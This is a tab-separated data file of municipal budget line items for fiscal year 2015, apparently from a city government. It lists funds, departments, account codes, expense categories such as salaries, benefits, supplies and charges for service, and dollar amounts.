15883	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE		DCAP		Salaries and Wages	2015	572.0	0	0	0	0	0	0.0	0	0	0	0	0.0	572.0
15884	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	533020.0	GENERAL LIABILITY / AUTO		 Supplies and Expenses	2015	21202.0	0	0	0	0	0	0.0	0	0	0	0	0.0	21202.0
15885	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2015	4570.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4570.0
15886	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522825.0	FOOD PURCHASES	808.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15887	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522900.0	MEMBERSHIPS AND DUES	808.0	 Supplies and Expenses	2015	1025.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1025.0
15888	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2015	12850.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12850.0
15889	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	555210.0	TRAINING	808.0	 Supplies and Expenses	2015	12000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12000.0
15890	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	555210.0	TRAINING	816.0	 Supplies and Expenses	2015	7762.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7762.0
15891	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		YEAR-END CASH OUTS	840.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15892	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	405760.0	ENHANCEMENT PURCHASES	650.0	Charges for Service	2015	-357661.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-357661.0
15893	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2015	458100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	458100.0
15894	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522950.0	CNG FUEL		 Supplies and Expenses	2015	237800.0	0	0	0	0	0	0.0	0	0	0	0	0.0	237800.0
15895	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	533120.0	SPECIAL EQUIP MAINT	808.0	 Supplies and Expenses	2015	30000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	30000.0
15896	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	552010.0	CUSTODIAL SERVICES	804.0	 Supplies and Expenses	2015	12720.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12720.0
15897	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2015	19829.0	0	0	0	0	0	0.0	0	0	0	0	0.0	19829.0
15898	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522900.0	MEMBERSHIPS AND DUES	820.0	 Supplies and Expenses	2015	5090.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5090.0
15899	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	544010.0	SPECIAL DEPARTMENT SUPPLIES		 Supplies and Expenses	2015	2036.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2036.0
15900	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2015	-13664.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-13664.0
15901	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE		LIFE INSURANCE & AD & D		Salaries and Wages	2015	1122.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1122.0
15902	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2015	4000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4000.0
15903	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	522910.0	VEHICLES - FUELS / LUBRICATION		 Supplies and Expenses	2015	1578.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1578.0
15904	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING		 Supplies and Expenses	2015	5200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5200.0
15905	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511730.0	WORKERS' COMP INSURANCE		Salaries and Wages	2015	6996.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6996.0
15906	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511773.0	RETIREMENT - MISC. EMPL		Salaries and Wages	2015	49514.0	0	0	0	0	0	0.0	0	0	0	0	0.0	49514.0
15907	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	544340.0	INDIRECT COST ALLOCATION		 Supplies and Expenses	2015	203529.0	0	0	0	0	0	0.0	0	0	0	0	0.0	203529.0
15908	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT		UNEMPLOYMENT	808.0	Salaries and Wages	2015	9407.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9407.0
15909	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	540590.0	EMPLOYEE RECOGNITION & APPRECI	810.0	 Supplies and Expenses	2015	1100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1100.0
15910	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2015	-11120.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-11120.0
15911	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511920.0	UNIFORM / TOOL ALLOWANCE		Salaries and Wages	2015	1200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1200.0
15912	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2015	-2112.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-2112.0
15913	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2015	-6482.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-6482.0
15914	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES		EMPLOYEE HEALTH CONTRIBUTION	806.0	Salaries and Wages	2015	-61134.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-61134.0
15915	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2015	-11650.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-11650.0
15916	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT		EMPLOYEE HEALTH CONTRIBUTION	812.0	Salaries and Wages	2015	-10202.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-10202.0
15917	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2015	-5054.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-5054.0
15918	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2015	-3595.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-3595.0
15919	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2015	-900.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-900.0
15920	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2015	-1567.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1567.0
15921	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER		EMPLOYEE HEALTH CONTRIBUTION	840.0	Salaries and Wages	2015	-43695.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-43695.0
15922	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		EAP		Salaries and Wages	2015	629.0	0	0	0	0	0	0.0	0	0	0	0	0.0	629.0
15923	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		DISABILITY INSURANCE		Salaries and Wages	2015	4952.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4952.0
15924	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522210.0	UTILITIES - TELEPHONE		 Supplies and Expenses	2015	4604.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4604.0
15925	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522610.0	EQUIPMENT RENTAL		 Supplies and Expenses	2015	4581.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4581.0
15926	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	533020.0	GENERAL LIABILITY / AUTO		 Supplies and Expenses	2015	4179.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4179.0
15927	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2015	-4493.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-4493.0
15928	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2015	-18082.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-18082.0
15929	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2015	-18690.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-18690.0
15930	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2015	-5005.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-5005.0
15931	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2015	1160.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1160.0
15932	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	540590.0	EMPLOYEE RECOGNITION & APPRECI	804.0	 Supplies and Expenses	2015	672.0	0	0	0	0	0	0.0	0	0	0	0	0.0	672.0
15933	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	540590.0	EMPLOYEE RECOGNITION & APPRECI	804.0	 Supplies and Expenses	2015	500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	500.0
15934	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	522950.0	CNG FUEL	804.0	 Supplies and Expenses	2015	2378.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2378.0
15935	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	533210.0	BLDG OPER / CUST SUPPLIES		 Supplies and Expenses	2015	102000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	102000.0
15936	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	544010.0	SPECIAL DEPARTMENT SUPPLIES		 Supplies and Expenses	2015	18200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	18200.0
15937	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511743.0	MEDICAL - MISC. EMPL		Salaries and Wages	2015	88141.0	0	0	0	0	0	0.0	0	0	0	0	0.0	88141.0
15938	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511749.0	VISION		Salaries and Wages	2015	581.0	0	0	0	0	0	0.0	0	0	0	0	0.0	581.0
15939	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE		LIFE INSURANCE & AD & D		Salaries and Wages	2015	561.0	0	0	0	0	0	0.0	0	0	0	0	0.0	561.0
15940	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2015	-269662.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-269662.0
15941	BA	IS	4	Special Revenue Source Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	555350.0	COMM & TRIBUTE PROGRAM	810.0	 Supplies and Expenses	2015	25000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	25000.0
15942	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409002.0	CHILDCARE-OCTOBER	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15943	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409004.0	CHILDCARE-DECEMBER	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15944	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409022.0	ENRICHMENT-WINTER	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15945	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409052.0	MIDDLE SPORTS-WINTER	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15946	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	555430.0	WASTE DISPOSAL (BRINING)	808.0	 Supplies and Expenses	2015	661700.0	0	0	0	0	0	0.0	0	0	0	0	0.0	661700.0
15947	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	540590.0	EMPLOYEE RECOGNITION & APPRECI	810.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15948	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556130.0	SOLD CASKETS	808.0	 Supplies and Expenses	2015	52000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	52000.0
15949	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556160.0	SOLD URNS	808.0	 Supplies and Expenses	2015	9300.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9300.0
15950	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2015	5301.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5301.0
15951	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511746.0	MED TRUST - MISC. EMPL		Salaries and Wages	2015	10620.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10620.0
15952	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511749.0	VISION		Salaries and Wages	2015	882.0	0	0	0	0	0	0.0	0	0	0	0	0.0	882.0
15953	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		DCAP		Salaries and Wages	2015	432.0	0	0	0	0	0	0.0	0	0	0	0	0.0	432.0
15954	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2015	2036.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2036.0
15955	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	555010.0	CONTRACTUAL SERVICES		 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15956	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2015	-41944.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-41944.0
15957	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2015	-5536.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-5536.0
15958	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2015	-3253.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-3253.0
15959	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2015	-4778.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-4778.0
15960	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2015	-2513.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-2513.0
15961	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2015	-8206.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-8206.0
15962	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2015	-18429.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-18429.0
15963	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2015	-12083.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-12083.0
15964	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2015	-3367.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-3367.0
15965	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION		Salaries and Wages	2015	-6237.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-6237.0
15966	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT		EMPLOYEE HEALTH CONTRIBUTION		Salaries and Wages	2015	-6543.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-6543.0
15967	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2015	-7521.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-7521.0
15968	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2015	-29461.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-29461.0
15969	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409005.0	CHILDCARE-JANUARY	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15970	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409021.0	ENRICHMENT-FALL	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15971	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409031.0	CAMP SM-WINTER	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15972	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409043.0	ELEM SPORTS-SPRING	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15973	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT		DCAP	808.0	Salaries and Wages	2015	2076.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2076.0
15974	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2015	4840.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4840.0
15975	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	533210.0	BLDG OPER / CUST SUPPLIES	808.0	 Supplies and Expenses	2015	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
15976	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	552010.0	CUSTODIAL SERVICES	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15977	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511749.0	VISION		Salaries and Wages	2015	882.0	0	0	0	0	0	0.0	0	0	0	0	0.0	882.0
15978	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511773.0	RETIREMENT - MISC. EMPL		Salaries and Wages	2015	140306.0	0	0	0	0	0	0.0	0	0	0	0	0.0	140306.0
15979	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		LIFE INSURANCE & AD & D		Salaries and Wages	2015	2586.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2586.0
15980	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522110.0	UTIL - LIGHT / POWER		 Supplies and Expenses	2015	13004.0	0	0	0	0	0	0.0	0	0	0	0	0.0	13004.0
15981	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522620.0	RENT	844.0	 Supplies and Expenses	2015	98166.0	0	0	0	0	0	0.0	0	0	0	0	0.0	98166.0
15982	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	400600.0	OVERSIZE LOAD	612.0	Charges for Service	2015	-30000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-30000.0
15983	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	407240.0	TRANS MGMT BLDG PLAN CHECK	612.0	Charges for Service	2015	-156560.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-156560.0
15984	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	566610.0	PROCESS & HAULING EXPENSE	808.0	 Supplies and Expenses	2015	2550000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2550000.0
15985	BA	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	405670.0	HBP-FHWA PIER BRIDGE	610.0	Intergovernmental	2015	-450000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-450000.0
15986	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2015	-6726.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-6726.0
15987	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2015	-7411.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-7411.0
15988	BA	IS	4	Special Revenue Source Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	520000.0	SUPPLIES AND EXPENSES	810.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15989	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409007.0	CHILDCARE-MARCH	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15990	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409010.0	CHILDCARE-JUNE	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15991	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409063.0	SMSE-SUMMER	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15992	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556150.0	SOLD NAME PLATES/BENCHES	808.0	 Supplies and Expenses	2015	8000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8000.0
15993	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522110.0	UTIL - LIGHT / POWER	810.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15994	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511743.0	MEDICAL - MISC. EMPL		Salaries and Wages	2015	81059.0	0	0	0	0	0	0.0	0	0	0	0	0.0	81059.0
15995	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511773.0	RETIREMENT - MISC. EMPL		Salaries and Wages	2015	66406.0	0	0	0	0	0	0.0	0	0	0	0	0.0	66406.0
15996	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2015	7126.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7126.0
15997	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544460.0	HOMELESS COUNT	810.0	 Supplies and Expenses	2015	4121.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4121.0
15998	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409009.0	CHILDCARE-MAY	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15999	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409051.0	MIDDLE SPORTS-FALL	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16000	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409062.0	SMSE-SPRING	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16001	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	540590.0	EMPLOYEE RECOGNITION & APPRECI	810.0	 Supplies and Expenses	2015	270.0	0	0	0	0	0	0.0	0	0	0	0	0.0	270.0
16002	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		EAP		Salaries and Wages	2015	629.0	0	0	0	0	0	0.0	0	0	0	0	0.0	629.0
16003	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522110.0	UTIL - LIGHT / POWER		 Supplies and Expenses	2015	460.0	0	0	0	0	0	0.0	0	0	0	0	0.0	460.0
